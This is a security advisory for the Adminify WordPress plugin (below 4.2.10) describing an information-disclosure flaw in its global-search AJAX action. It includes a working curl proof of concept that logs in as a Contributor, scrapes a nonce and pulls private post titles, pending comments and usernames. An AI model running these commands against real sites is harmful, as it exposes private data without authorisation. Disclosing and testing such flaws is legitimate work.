Adminify < 4.2.10 – Contributor+ Sensitive Information Disclosure via Global Search AJAX | CVE 2026-11781

Description

The plugin does not perform per-user read-capability checks on the results returned by one of its administration search features, allowing users with a low-privilege role (Contributor) to disclose non-public content that WordPress would not otherwise expose to them, such as other authors' unpublished post titles, pending comment content, the site's plugin inventory, and user account names.

Proof of Concept

Prerequisites (admin-side seeding, so there is non-public data to disclose):
- Adminify <= 4.2.9 active.
- A private or draft post authored by the administrator, e.g. title "Secret Roadmap".
- A pending/unapproved comment on any post.

Steps (performed as a low-privilege Contributor):

1. Log in as a Contributor and read the Adminify admin-bar search nonce, which the plugin prints into the wp-admin dashboard HTML as "security_nonce":

   BASE="http://127.0.0.1"
   curl -s -c con.txt -d "log=contributor" -d "pwd=contributor" -d "wp-submit=Log In" "$BASE/wp-login.php" >/dev/null
   NONCE=$(curl -s -b con.txt "$BASE/wp-admin/" | grep -oP '"security_nonce":"\K[^"]+' | head -1)

2. Call the global-search AJAX action as that Contributor:

   curl -s -b con.txt -X POST "$BASE/wp-admin/admin-ajax.php" \
     -d "action=pxlbsadminify_all_search" \
     -d "security=$NONCE" \
     -d "search=secret" | jq -r '.data.data'

Result: the response includes the non-public post title ("Secret Roadmap"), the content of the pending/unapproved comment, matching plugin names from the site's plugin inventory, and user logins/display names, none of which a Contributor can see through WordPress core (the core REST API returns "Status is forbidden" for the same private/draft posts and rejects the unapproved comments for this role).